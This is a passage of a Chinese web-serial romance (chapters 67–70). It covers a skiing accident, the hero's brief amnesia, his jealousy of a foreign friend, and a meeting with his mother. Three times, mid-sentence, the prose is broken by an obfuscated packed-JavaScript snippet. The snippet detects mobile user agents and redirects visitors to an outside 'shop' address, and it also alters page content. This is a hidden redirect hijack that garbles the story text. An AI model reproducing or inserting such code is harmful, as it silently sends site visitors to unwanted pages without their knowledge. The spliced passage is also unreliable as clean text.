“板子都带了,就为了装饰?”周森打断他:“和他们去前面餐厅等我。” - 沈吾安今年做过最后悔的事,就是答应Zane来这个赛道滑雪。她听周森提过几次留学时期爱滑雪的事,本着想体验周森爱好的心情,她在初级道滑了几日。来之前还信心满满,以为不会有什么问题。 然而此时此刻,她在急速滑行的刺激和呼啸而过的风声中,油然滋生出一股我命不由我的悲壮之感。 身体本能想要尖叫,牙关却仿佛产生自我意识般紧咬在一起,用力过度导致咬肌生痛。 看得出Zane是个拥有丰富滑雪经验的高手,他一直控制着速度护在她的身边。但他总在她好不容易维持住平衡的时候,突然横插在她面前,试图给她带来新的刺激。 说真的,不需要。 “刺激吗?”Zane又在耳边大喊,然后再次发出雀跃的欢呼。 沈吾安不觉得刺激,只觉得喧闹。 他还想再说什么,注意力被前方的小坡吸引,立即兴奋地转头对沈吾安说:“嘿!安!看着我!” 说完他加速往前冲刺,借着坡度腾空而起,在半空短暂滞空,接着完成了一个漂亮的空中翻转,完美落地。落地的瞬间他等不及稳住平衡,立即打横滑板,骄傲地向沈吾安邀功:“怎么样!” 只是问完,他却没时间再等沈吾安的回应。护目镜后他漂亮的蓝色眼睛突得圆睁,对浑然不觉的沈吾安大喊:“小心!” 是鱼雷! 有个速度失衡的滑雪者如一枚发射出去的鱼雷,正以加速度接近沈吾安。 更糟糕的是以Zane现在和沈吾安的距离,他绝对无法帮到她。 Zane大惊失色,短短几秒钟就已经做好最坏的准备。 只是下一刻,自“鱼雷”后猛地蹿出另一个身穿深蓝色滑雪服的滑雪者,速度竟比失控的“鱼雷”更快。那人以一股不怕死的气势横插一脚,把“鱼雷”撞离轨道。 Zane看得心惊肉跳,自那瞬息间的操作中看出那人高潮的滑雪技术,暗自庆幸这位勇士的帮助。只是尚未来得及松口气,就见深蓝色滑雪者因为撞击而失去平衡,重重地摔在雪道上,随者长坡一路往下滚。 Zane一声惊呼,带着沈吾安朝那人滑去。 远远看到那人终于停止往下翻滚,却半天都没有爬起来,连翻身的动作都没有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13478283|126109||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 “糟糕。”他下意识说。 “他怎么了?”沈吾安连忙问。 “可能是昏过去了。”Zane猜测:“希望摔到脑袋。” 说完他看向另一边同样摔在雪地上再无动静的“鱼雷”,沉重地叹口气:“希望他还活着。” 沈吾安以为他说的是她的救命恩人,焦急地几乎变了语调:“会死吗?” Zane没再说话,和沈吾安一起停在蓝衣滑雪者的身边,查看他的情况。 由于不清楚他的伤情,Zane不敢擅自动他的身体,只能用英语问:“怎么样?醒着吗?能听到我说话吗?” 对方没有立刻回答,也没有动。 在Zane以为他摔晕之时,他突然开口,并以一种非常冷静的语气说:“我要到雪道边上,别在这躺着。” Zane表示理解。 沈吾安却在他流利的英语口语中感觉到一股莫名的熟悉,狐疑又诧异地看着地上的人。 他在Zane的帮助下移到雪道边上,大概是因为很不舒服,痛苦得干呕了好几次。 见状,Zane走到一边联系滑雪救援队。 在这期间,沈吾安始终紧紧盯着地上的人,莫名产生了个荒谬的猜测。 “救援队很快回来。”Zane回到他们身边,再次确认蓝衣滑雪者的健康状况:“你感觉如何?” “头疼。”他简短回答,静了几秒,他又问:“我在哪?” 沈吾安莫名看向Zane。 Zane不知何时扯下了自己的口罩,表情凝重地报出度假村的名字,并问:“你有同伴吗?” 蓝衣滑雪者动作非常缓慢地摇了摇头,用双手按住脑袋说:“头很痛,我缓一缓。” “行。”Zane看了眼远方另一位伤患:“那边还躺着个人,我去看看。” 蓝衣滑雪者低着头没有说话。 沈吾安没有随Zane一起离开,而是安静地陪在他的身边。 过了很久,她才用不那么流利的英语关心:“你还好吗?” 对方身体非常明显地一僵,接着缓缓抬头。 他头上带着戴口罩的帽子,头盔,还有护目镜,以覆面的形象出现在沈吾安的面前。 沈吾安也和他一样。 她听到他换了中文,问:“见过沈吾安吗?” 沈吾安一怔,荒谬的猜测在这一刻得到印证,连忙扯下口罩,对他说:“是我,阿森!” 可他却仿佛不认得她一般,一言未发。 沈吾安见不到覆面后他的表情和眼神,只是怔怔地隔着护目镜与他对视。 她手忙脚乱地拆下头盔和护目镜,让自己的脸完全暴露在空气中,对他说:“我是沈吾安。” “安安…… ?”对方语气里充满迟疑,随后他再次低头按住脑袋:“头疼。” 沈吾安不清楚周森到底怎么了,担心地几乎要哭出来,关心地靠近他:“除了头疼,还有哪里不舒服吗?” “我为什么在这里?”缓了片刻,他再次抬头:“这是哪里?” 沈吾安不知所措地看着他。 听到他又问:“见过沈吾安吗?” 68.Chapter 068 Chapter 068 阮松青接到电话匆忙赶到医务室,忧心忡忡地见到的是喋喋不休的周森。 一时间脸上的表情比短暂性失忆的周森更迷茫。 沈吾安和Zane都在五分钟前去了隔壁,配合工作人员调查事故缘由,只留下他独自面对陌生的周森。 两人在装修简陋,只提供了基础设施的木屋里。阮松青回想刚和其他员工一起赶到这里时的场景,只能用一团乱形容。 首当其冲的是闯了祸而六神无主的Zane。他不仅联系了他们,还在试图联系首都医院的脑科专家。但因为电话打不通,急得在原地团团转。 事故的始作俑者“鱼雷”先生是专程来滑雪的U国人。周森那一下看似把他撞离轨道,其实巧妙地减缓了他下滑的速度。按照他原本失控的速度,情况只会更糟。现在只是摔折一条腿,乃是不幸中的万幸。 见到“救命恩人”的朋友出现,他一瘸一拐地蹦跶到阮松青面前,扯着阮松青的隔壁连声解释自己会负责一切医药费用,同时却又因担忧费用会过于昂贵而泪流满面。 阮松青几次解释先让他去看周森,他都充耳不闻,只是自顾自地哭嚎。 阮松青被他嚎得头疼,这家伙把全身重量压在他手臂上不说,看架势很像是要靠到他胸膛找安慰。阮松青无奈之下,只能善良地提心他,他撞的人物非同小可。但凡有些小病小痛,都够他不吃不喝赔一辈子了。这才让对方怔忡地松开了手。 阮松青连忙把他留给周森的助理,一面苦着脸揉胳膊,一面分神去找周森。 然后终于在木屋靠暖气片的角落找到好端端坐在那里的周森,这才大松一口气。 方才Zane在电话里语气焦灼激动,让他误以为周森缺条胳膊少了腿。 现下看他安然无恙地出现在他面前,还就听到周森问沈吾安:“这是哪?” 沈吾安背对着他,阮松青看不到她的表情,但听声音应该是哭过,说话时鼻音很重。 “阿森。”他出声。 沈吾安和周森同时看向他。 接触到周森的视线,阮松青几乎是立刻就察觉到他的眼神很奇怪,还来不及分辨具体是什么,又听到周森问他:“你是谁?” 阮松青:“……” 他离谱地闭了下眼睛,问沈吾安:“他这是?” 沈吾安哑着嗓子说:“好像是短暂性全面性遗忘。” “短暂性全面性?”阮松青荒唐地提高嗓音:“多短暂?多全面?” 半小时后,阮松青就明白了有多短,和周森独处十几分钟后,更是深刻了解到有多全面。 “沈吾安呢?” 缓过来的周森再次问。 阮松青无奈望着天花板:“在隔壁。” “我怎么在这里?” “你来找她。” “这是哪里?” “R国最大的滑雪度假村。” “你是谁?” “……”阮松青深吸一口气:“我是你爹。” 被周森用鄙夷的目光盯了半晌,他好笑地反问周森:“你是谁?” 看到周森脸色再次出现茫然的神色,阮松青忍俊不禁地笑出声:“连自己是谁都忘了,还不忘找你家安安。” 下一秒,周森问:“沈吾安呢?” “……” 阮松青深知不回答,会得到一个焦虑合并头痛的周森,只能老实告诉他:“在隔壁。” “为什么去隔壁?” “你被撞了,她去配合问话记录。” “我被撞了?为什么?” 阮松青尚未来得及了解具体过程,只能含糊地说:“你来找她。” “我为什么来找她?这是哪?” “……” 阮松青在内心直呼老天爷,真诚发问:“你知道你失忆了吗?” 周森短暂愣了愣,接着痛苦地捂住头:“我怎么……”顿顿,他猝然抬头问阮松青:“沈吾安,见过沈吾安吗?” 阮松青:“……” - 周森的短暂性失忆一直持续到她们抵达首都医院,并做完全身检查。 CT提示周森的脑部没有明显的创伤。专科医生也告诉她们,每年因滑雪事故导致失忆的人有很多,大多数情况都属于短暂性失忆,一般会在几小时到四十八小时恢复正常,让她们不必过于担心。 但出于安全考虑,他还是建议周森留在医院观察一晚,以防一些突发情况。 Zane少爷作为东道主,安排随周森而来的一行人住在医院附近的五星级酒店。 一群人吵吵嚷嚷地在周森病房里,陪周森玩“安安呢?”,“我是谁,我在哪,我从哪来,要到哪去”的游戏,直到医院的探视时间结束。 病房里终于只剩下周森和沈吾安。 周森到底是伤患人员,在病房内重获安静后不久就进入睡眠。 沈吾安这才有空打开一天都没打开过的手机。 微信小群里有不少消息,热火朝天地讨论着今日的意外。还有人@沈吾安询问情况。 沈吾安简单回复“一切安好”,然后切回主界面,查看周森和赵浅的消息。 赵浅的消息很简单,她先给她发了个【重获自由】的表情,随后用文字问她: 【我终于自由啦!你什么时候回来?陪我去做SPA!】 沈吾安不疑有他,向她解释白天发生的事故,同时坦言她不清楚归期。 赵浅很快回复:【周先生还好吧?】 沈吾安说:【没事,今晚留在医院观察一晚上,没有什么特殊状况明天就能出院。】 赵浅说:【行,我等你回来。】 和赵浅聊完,沈吾安才点开和周森的聊天界面。 其实她早晨出发前收到了周森的消息,看到他向她汇报行程,也看到他关心她的慰问。 她也回复了。 估计是信号问题,她的信息没有发送成功。再次打开聊天框是,她才看到发送失败的提示,系统再次询问她:【是否重发】。 沈吾安本来觉得没必要,但手指却莫名点在【确定】的选项。 信号优越的情况下,信息不到一秒就全部成功发送。 属于沈吾安的绿色气泡一连串出现在屏幕上。 【你下飞机了吗?】 【我遇到了Zane,他说他是你的朋友。】 【下大雪了!】 【我们和Zane去吃晚饭。】 【我这里雪停了。】 【好像信号不好,我的消息都没发送出去。】 【我和Zane去滑雪。】 与此同时,周森的手机在床头柜上发出消息提示的震动声。 周森皱了下眉,然后缓缓睁眼。 “吵醒你了?”沈吾安问。 周森闭上双眼缓了几秒,再次睁眼后眼里已经不复茫然,清晰而明确地叫她:“安安。” 沈吾安短暂愣在原地,不知为何又想流泪,忍着眼里的酸涩应:“我在。” 周森环顾四周,语气肯定地和她确认:“我在医院?” “嗯。”沈吾安点头,身体不自觉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13539112|126109||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 地倾向他:“你为了救我摔到脑袋,记得吗?” 周森缓慢地摇摇头,动作因为脑袋突如其来的刺痛而停滞一秒:“你没事吗?” “我没事。”怕他担心,沈吾安告诉他:“你之前短暂性失忆了,但没有大碍。只是为了防止意外情况,所以医院建议我们留院观察一晚上。” 沈吾安的语气神色和平时没什么两样,牢牢盯着他的双眼依旧清澈纯净,带着沈吾安才能带给他的宁静安然。 但周森就是从其中看出沈吾安平静背后的心有余悸。 他朝她伸出手,等沈吾安小心翼翼地靠进他的怀里,才拍拍她的背,轻声问:“吓坏了吧?” 沈吾安感觉心里被什么轻轻撞了一下。撇着嘴角忍了忍,还是埋在周森的肩窝处无声地哭了出来。 她是真的很害怕,想起周森翻滚着下坡,而后再无动静的画面,她就忍不住后怕。不敢细思,她接受不了周森有一点点意外。 两人在静谧昏暗的病房内抱了很久,直到沈吾安的呼吸恢复正常频率。 周森亲了下她的耳朵,问:“怕我记不起你吗?” 沈吾安摇头。 周森叹口气,再次告诉她:“我不会有事的。” 其实这一刻带给他的感觉也很陌生。 这不是他第一次因为滑雪对就记忆造成影响,也不是他第一次在医院里醒来。 但睁眼那一刻能在床边看到亲近的人,却是头一回。 “我刚才是不是很话唠?”周森笑着问。 “嗯。” “你有没有不耐烦?”他又问。 “没有。” “我问你什么了?” 沈吾安离开他的怀抱,撑在床边告诉他:“你一直在找我。” 安静再次缠绕在两人之间。 周森无声地和沈吾安对视片刻,捏着她的后颈将她带向他,同时微微探身吻住沈吾安。 - 周森次日上午就办理出院。 Zane得到消息早早等在病房门口,倒是阮松青姗姗来迟,直到他们办完全部手续才现身。 还未靠近,周森就闻到了他身上浓烈的酒味,蹙眉蔑了他一眼:“喝到几点?” 阮松青浑不在意地摆了下手:“你好点没?” “还在犯恶心。” “发你的消息都没看吧?”阮松青问。 确实没有。 他后半夜突然晕得厉害,去厕所吐了好几次,再不敢随意动弹,老老实实躺了一晚上。 “发生什么事了?”他问阮松青。 “没什么。你妈联系不上你,找到我这了。” “手机没电。”周森解释:“不太舒服就没管。你告诉她我受伤的事?” “怎么可能!” “和你说了什么事吗?” 阮松青歪头回忆数秒。凌晨接到傅倾君电话时,他正醉得厉害,不确定地摇头:“好像什么都没说,就说让你回头联系她。” 周森便没再当回事,随口道:“等手机有电,我再给她电话。” 阮松青不置可否,这才发现沈吾安不在病房里,问:“安安呢?” “和Zane去拿药了。” 阮松青古怪地看他一眼:“你放她和Zane单独行动?你是不是没记起来自己为什么非得去找她?” 周森的确还未找回自昨天抵达雪场和到医院后的这段记忆,摇头问:“记不起来,怎么了?” 阮松青不知想到什么,嗤地笑出声:“Zane也真是艺高人胆大,墙角都敢挖到你跟前来。” 69.Chapter 069 Chapter 069 Zane是标准的R国人长相,眉骨突出鼻梁高挺。因为生长地长期缺乏光照,头发的颜色和皮肤的颜色都很淡。阳光充足的时候,整个人在光照下会产生一种金光闪闪的视觉效果。 但他的性格却和稳重沉闷的R国人完全相反,反而像是来自热带海滨城市的岛国居民,总是笑容满面,热情洋溢,看起来有花不完的牛劲。 得知沈吾安和周森都没吃早餐,他固执地要带她去距离医院足有五分钟距离的烘培店买面包。声称那是他每次来首都医院这边都要光顾的好店。 沈吾安不是很想,她不放心独自留在病房的周森。 可Zane拉着她的力道不容拒绝,甚至还有些让她生疼。 沈吾安礼貌地挣了下。单纯的Zane少爷还以为她是害羞,于是用了更大的力气。 沈吾安被动地跟着Zane走出医院大门,觉得似乎很多男士都不太清楚男女之间力道的差距,总会不自知地使上很大的力气,无意识中弄痛对方。 但好像周森不会,他从未让沈吾安感受到过丝毫的不适。 烘培店的生意非常火热,老远就看到长长的队伍,香甜诱人的气味顺着队伍一路飘到街尾。 沈吾安承认这味道让她难以抗拒,但队伍太长,她想回去找周森。 Zane像是看出她的意图,迈出一条大长腿拦在她面前,用蹩脚的中文说:“森是个成年人,他会没事的。” “他早上还在呕吐。”沈吾安解释。 Zane挑了下眉:“即使你现在就到他的身边,他还是会呕吐。” 沈吾安有些不高兴地沉下脸。 Zane像是这才注意到沈吾安的情绪,弯腰把脸凑到沈吾安面前。浓烈的药香顺着他的动作涌入沈吾安的鼻腔。 沈吾安诧异地看着他。 前天她们闲聊时聊到了沈吾安的药香。Zane对此表现出很大的兴趣,还一直夸沈吾安闻起来很舒服。一个中文都说不利索的老外,惊为天人地运用了“沁人心脾”这个成语。 任何时候有人喜欢她的药香,沈吾安都会很开心。正好房间里有一盒未拆封的祛寒香,便顺手送给了Zane。 沈吾安猜不到这老外到底焚了几支香,才把自己熏出这种呛人的效果。 Zane问:“怎么了?” 沈吾安古怪地摇头:“没什么。” Zane重新站直身子,坦言道:“我没有恶意,只是想带你品尝好吃的面包。如果你没有吃到这家店的面包就回国,我会很遗憾。” 沈吾安无奈:“好吧,我们买完面包立刻回去。” - 沈吾安和Zane花了点时间才回到病房。 周森正站在窗边打电话,看到沈吾安和Zane并肩而入,他没什么表情地冲她们点了下头,然后转过身面向窗外。 阮松青坐在病房的沙发上打游戏,脸色看起来比昨天更差,嘴唇几乎没有血色。 他没有立刻和沈吾安打招呼,在沈吾安和Zane之间打量来打量去,勾了下嘴角说:“早上好。” 沈吾安提提手里的面包:“你吃早饭了吗?我和Zane去买了点面包。” 阮松青说:“不要。”视线落在Zane身上,半真半假地笑着问:“你怎么把安安骗走那么久?半天都不回来。” Zane对博大精深的中国文化专研不足,无法理解阮松青话里的玩笑,严肃地解释:“我们去给森买早饭,我买的是这里最好吃的可颂。” 阮松青奇怪地笑了下,低头继续打游戏。 周森在这时打完电话,收起手机朝她们走过来。 随着几人距离的接近,周森闻到了不算浓郁的香熏味。和沈吾安在一起这么久,他已经能够轻易分辨出专属于沈吾安的药香气息。 昨夜他和沈吾安相依相偎近整晚,不曾在她身上闻到这款香。 周森缓缓掀起眼皮,懒洋洋地看向笑容洋溢的Zane。 Zane不仅无法理解阮松青的玩笑话,同时还读不懂周森眼神里意思,莫名挑了下眉,热情地从沈吾安手中的纸袋里拿出一个可颂,展示给周森看:“我和安在店里挑了好久,你想要哪个?” “也没有很久吧。”沈吾安下意识争辩。 是因为队伍太长,所以才挑了很久。 周森摇头说自己没有胃口,让沈吾安先吃。然后又感谢了Zane,为他好心带沈吾安买早餐的事。 Zane看起来不想得到感谢,摸摸鼻尖别开了眼。 动作间香味从衣袖间漏出来,这次周森闻得更加真切。 - 大家的行李还在度假村,接周森出院后,一行人又浩浩荡荡地坐着大巴车回程,和剩下的人汇合。 从首都到度假村车程大约三个半小时,抵达度假村已经是下午。众人一致同意再住一晚,第二天启程回公司。 周森还是不太舒服,午后开始出现低烧的情况,到酒店就回房间休息了。 沈吾安在他的房间里陪他。 周森吃了药,躺在床上一副欲言又止的表情,最终什么也没说。 他还是想不起过去二十四小时发生的事,但上午手机接通电源后,沈吾安迟来的消息却历历在目。 七条消息,三条有关于Zane。 “很难受吗?”沈吾安关切地问:“脸色很难看。” 老师说,周森此刻心理上的不适比身体上的更强烈。 只是刚好见到Zane而已。 送香也可能只是礼尚往来。 周森不太成功地开导完自己,对沈吾安说:“没事。” “我把灯调暗一点?” 周森没拒绝。 - 沈吾安等到周森睡沉,轻悄悄地离开房间。 经过阮松青房间时,遇到正巧从房间里出来的他。 沈吾安敏锐地闻到刺鼻的酒味,忍不住问:“你又喝酒了吗?” 阮松青没否认,问她:“她们在楼下玩桌游,你要不要一起去?” 沈吾安昨晚几乎没睡,又困又累:“我就不去了。” 她打算和阮松青告别,但阮松青杵在他面前沉默片刻,突然问:“赵浅这几天和你联系了吗?” 赵浅有段时间没在她面前提起阮松青。沈吾安还以为他们早已结束,没料到阮松青竟还会问到她。 “昨天刚联系,怎么了?” “没什么。”阮松青用拇指顶住胃部:“她……” 他没说下去,哂笑:“没什么,我先下去了。” 他的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13573533|126109||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 脸色实在不好看。 沈吾安拦住他:“你是不是胃痛?” “有一点。” “我这里有胃药……” 她的话被阮松青的笑打断:“你是机器猫吗?” 沈吾安解释道:“阿森胃不好,所以我带了些常用药,有备无患。” 她本是随口解释,可她说完,阮松青却不知因为什么沉默下来。他盯着虚空的某个点看了半晌,又自嘲地轻嗤一声。 “怪不得他把周家搞得人仰马翻。”他毫无征兆地说。 阮松青还是去沈吾安房间取了药吃,随后又拉着沈吾安一起下楼玩桌游。 Zane被几位年轻人簇拥在人群最中心,他虽和周森年林相仿,可兴许是性格的原因,大家都不怕他,还喜欢围着他玩。前几日滑雪时便是这样。 看到沈吾安出现,Zane连忙朝她们打招呼,把沈吾安和阮松青都安排到自己的身边。 阮松青性质不高,而且胃部仍在持续抽痛,就靠在沙发背上陪他们打游戏。见到李澄也在,顺口问他要了他的游戏账号冲分。 李澄以为他就是要个账号,谁知阮松青竟连他的手机也一同要走。 等待进入游戏的时间里,阮松青抬头看了眼牌局,正巧看到Zane问沈吾安要喝什么。在得到否定的答案后,他抬手招来服务生,替她点了杯热可可。 - 周森在天黑前醒来。 手机里躺了不少短信,最多的还是沈吾安发的。她告诉他,她们都在休息室的游戏区。让他醒来就告诉她,她回房间找他。 周森试探额头温度,发现烧已退,于是穿上衣服去找沈吾安。 游戏桌上的人已经换了几批。沈吾安休息了两轮,被Zane拽着重新回到桌上,他在一旁充当她的军师。 周森到时,人群中的沈吾安正抵着下巴思考,Zane在她身后笑吟吟地举着她的资产,不时转头靠近她的耳边说话。 他在门边安静地站了会儿,直到沈吾安毫无征兆地突然抬头,朝他看过来。 她本没什么表情地在等人掷骰子的。 视线相触,笑意先于表情爬进她的眼里。沈吾安立即扔下筹码,起身朝他走过来。 周森发自内心地想笑。 “怎么不玩了?” “你怎么没发信息给我?” 两人几乎是同时开口。 “我想下来走走。”周森说。 “不烧了?头还晕吗?” “不烧了,不晕了。” 她仍然不放心,踮起脚用手心试过他额头的温度才作罢:“肚子饿了吗?” 周森一瞬不瞬地与她对视,眼低神色柔得几乎要化开:“有一点。” “我们去吃晚饭?” 周森问:“不继续玩了?” 沈吾安摇头:“不玩了,我本来也不爱玩这些。我们去吃饭吧?” “他们呢?”周森又问。 沈吾安回头,见一桌的人都停下游戏看着他们,询问人群中尤其显眼的Zane:“我陪周森去吃饭,你代替我玩吧?” Zane连忙阻拦:“一起去呀!” 沈吾安刚打算拒绝,身后周森揽了下她的肩膀,毫不留情地拒绝Zane:“我们二人世界,你打扰不太合适吧?” 70.Chapter 070 完结 Chapter 070 沈吾安和周森的晚餐点得不多,但是餐厅氛围很好。 她在周森的鼓励下喝了点红酒,餐后两人还在度假村接近零度的天气里散了会步。外面的雪还没有化,鞋子踩过雪地会发出咯吱咯吱的可爱声音。 周森在回房后问了她一个在她看来很奇怪的问题。 他问:“你觉得Zane怎么样?” 沈吾安正脱手套,闻言随意地回答:“有些聒噪。” 周森意外地看了她数秒,无声地笑起来。 曾经沈吾安客气疏离,隐忍克制的模样尚在记忆里,现如今她已能无所顾忌地对他坦言心中所想。 周森自认他是在沈吾安感情遭受挫折时趁虚而入,经过很多努力才把人追到手。也许在爱里的人都会自卑,他时常觉得忐忑,怕她对他的感情是一时的误会,更怕它抵不过漫长岁月的冲刷。 他也曾恶劣地以为把沈吾安留在人生地不熟R国,就能把她好好地藏起来。 谁知还会有Zane的出现。 在沈吾安眼里有些聒噪的Zane,都足够让他妒火中烧。 “怎么了?”沈吾安问。 周森长时间不说话,她有些担心。 “你也把你的香送给Zane了?”他终于问出口。 “嗯。”沈吾安观察着周森的表情:“我想试试看老外会不会喜欢,也许能把业务开拓到R国来呢?” 周森哑然。 “你也闻到是不是?我那么好的香,不知道怎么被他糟蹋呢!”说起这她对Zane的意见更大:“暴殄天物,真是的。” 周森忍俊不禁:“你以为他喜欢你的香?” 沈吾安纠正他:“是他说了好几遍对我的香感兴趣,还说我身上的味道好闻。” 周森脸色一僵,笑容逐渐消失。 周森自摔到脑袋后就一直很奇怪,沈吾安摸不透他怎么看上去又不太高兴的样子,迟疑地问:“我是不是误会他的意思了?” 怎么不算呢? 但周森的私心让他选择不解释。 “我去洗个脸。”他对沈吾安说。 周森走进浴室,简单洗了脸后,脱下外套准备换上常服。穿衣服的时候无意间碰到了放在一旁的洗面奶,洗手台上登时发出一连串瓶罐碰撞摔倒的动静。 沈吾安连忙冲到浴室,以为是周森的晕眩症再次发作。着急推开门,撞入眼帘的就是半.裸着上身的周森。 他平日里看着白皙精瘦,还总病怏怏的不见好。谁知躯体肌肉覆盖相当完美,从肩膀到腰腹匀称地裹着一层薄肌,充满野性的力量感。 沈吾安和他牵过手,有过拥抱,也接过吻,却因为种种原因迟迟没走到最后一步。 这是她第一次这么直白地看到周森的身体,热意瞬间窜至头顶,烧得整张脸通红。 “我……”她想退出去。 只是还未来得及有动作,就被周森一把扯了回去。 他左手揽着沈吾安的腰把她临空抱起,将她紧紧禁锢进怀里。右手从沈吾安的发根穿插进去,拖着她的后脑勺将她带向他,没给沈吾安说话的几乎便附身吻住了她。 他的吻很急很很凶,霸道且强势,和平时的他判若两人。甚至不允许沈吾安有一点退缩,她被吸得生痛,条件反射地往后躲。周森立即不依不挠地追上来,更深地缠住她。 那个任何时候都不曾让她感到丝毫不适的周森,只要她露出一点为难就不忍心的周森,今晚没有一丝心软。 ... - 阮松青几天都没能入睡,终于在天亮时感到了些许的饥饿感。 他在半自助式早餐餐厅遇到了整独自用餐的周森,诧异地问:“怎么一个人吃饭?” 周森看起来心情不错:“安安还在睡。” “不等她?” “让她多睡会儿。” 阮松青愣了几秒便反应过来,震惊地看着他:“兄弟你脑震荡呢?适合剧烈运动吗?” 问完看到周森的手机界面,再次意外:“你在看机票?” “我妈找我有些事,所以我要尽快回去。”周森简短解释:“你呢?再玩几天还是和我们一起回去?” “这么急?”阮松青在他面前坐下。 服务生礼貌地前来问好,阮松青顺口要了份咖啡和英式传统早餐。 想到周森出来前一晚,特意去找他的母亲谈过话,问:“是和傅阿姨谈好了?” 那不算是等价交换。 周森摇了下头。 他给出的条件,傅倾君半点没要。但他要的,她经过几天的思考后都给了。 他做了十足的准备去找傅倾君,虽然心里早有准备,知道傅倾君不会过多为难他,谁知过程比他预料的更顺利。 她全程沉默听完了他的话,态度仍然算不上热情,可以说是冷淡的,答应他她回好好考虑。 得知她同意股权转让的事,周森在短信里向她提出了一个她意想不到的要求:“我想带沈吾安见你。” 沉默片刻,傅倾君回复:“你送我的香都是出自她的手吧?那就请她替我打一次香篆吧。我最近睡眠很不好,劳烦请她带上安神助眠的香。” - 周森处理完劳伦斯公司的事情,顺利签下合同,在三天后的下午登上回国的飞机。 有了傅倾君的支持,他在和周文州的博弈中逐渐占据上风。随着阮松青回到阮家,明牌摆出支持周森的态度后,这场无硝烟的战争终于开始缓缓落幕。 而沈吾安的药香品牌经过漫长的寒冬,也迎来了喜讯。她的品牌在叶女士的引荐下,被许多官媒纷纷报道,并几次在非遗文化的主题中被提到。 一切看似尘埃落定,沈吾安在一个阳光明媚的下午,去周森父母的家见了周森的母亲,傅倾君。 她如傅倾君要求的那样,带了最好的安神药香来到傅倾君的书房。 沈吾安预想过许多傅倾君的模样,高贵的,优雅的,美丽的。真的见到本人,她发现周森的母亲虽的确如她所料那般,可更多的却是疏离和疲态。 傅倾君的书房很大,室内有浓重的熏香味道。厚重的窗帘严丝合缝地合在一起,只留了两盏朦胧的立灯。 傅倾君半倚在美人躺上,只对沈吾安说了句:“麻烦了。”便没再说话。 直到沈吾安做好一切准备工作,她才开口,毫无征兆地问她,喜欢周森什么。 沈吾安一时间不知该如何回答。 傅倾君恹恹地靠着扶手,只是看了会儿沈吾安盘香就开始精神不济的样子。 “就算是相爱,又能维持多久呢?”没等沈吾安回答,她继续自顾自地说:“对于漫长的一生来说,爱情的保鲜期就只是那么短暂的一瞬。周森现在喜欢你,闹得人尽皆知非你不可。但你又能保证他会喜欢你多久?” “我不知道。”沈吾安如实回答。 傅倾君闻言轻笑出声。 不是轻蔑的笑,更像是笑沈吾安年轻又单纯。 她合眸憩了片刻,才继续:“别紧张,我不会管你和周森的事。你们选择结婚也好,分开也罢,我都不干涉。你应该知晓我和他关系不亲密,但我毕竟是她生母,他提出要我见你,我又没有非要拒绝的理由,所以就见见你。” 沈吾安笑着轻声说:“谢谢。” 傅倾君睁开眼睛,懒洋洋地看沈吾安手上轻柔细致的动作,突然夸她:“你的香很好,我都很喜欢。” 她的态度虽然一直很疏离,一点也不平易近人。但沈吾安却没有觉得怕,她笑着说:“我第一次和阿森见面,他就追问我身上的香味。” 傅倾君意外地愣怔一瞬,显然也想不到周森会这么唐突。 “当时他说,他母亲有款断货很久的香,和我身上这款闻着类似。”沈吾安根据回忆往下讲:“我本来也以为他是随口一提,不曾想没几天他真的来我的店铺订了一堆香回去。” 沈吾安说到这,傅倾君已经离开扶手,坐了起来。 “但是哪可能那么巧,一点点细微的差距都会导致香味不同。后来他又找来孟先生,和我一起做复原香,花了近三个月的时间才达到他满意的成果。” “孟达海?”傅倾君问。 “是的。” 傅倾君不知想到什么,没有说话。 沈吾安便也含笑安静下来,拿过小木锤,沿着模具的边缘轻轻敲击,发出清脆的叩击声。 傅倾君出神地看了会儿,重新靠回去。 “周森没提起过。”她说。 “可能是觉得没必要吧。”沈吾安说完,稳稳提起磨具,露出完美的图案。她缓声提醒:“我要燃香了。” 傅倾君点了点头。 这次香粉里参合了品质极好的檀香和好几位凝神养息的药材,有缓解焦虑宁神舒心的功效。清烟凝成细长的一股袅袅上升,散入室内。 “你看到靠左书架上的奖杯了吗?”傅倾君突然问。 沈吾安闻言看去,在书架上看到了琳琅满目形状各异的奖杯奖状。 “都是我的。”傅倾君勾起嘴角。但她的脸上不见半点开心和骄傲,唯有冷淡:“年轻时我也算个优秀的人。” 傅倾君这么说,过于谦虚了。她的画作在即使离开圈子二十多年后,仍然时常被专业人士拿来做对比的标杆。前不久沈吾安刷短视频时,还刷到过有UP主专门开了一期傅倾君专题,言辞间满是仰慕和惋惜。 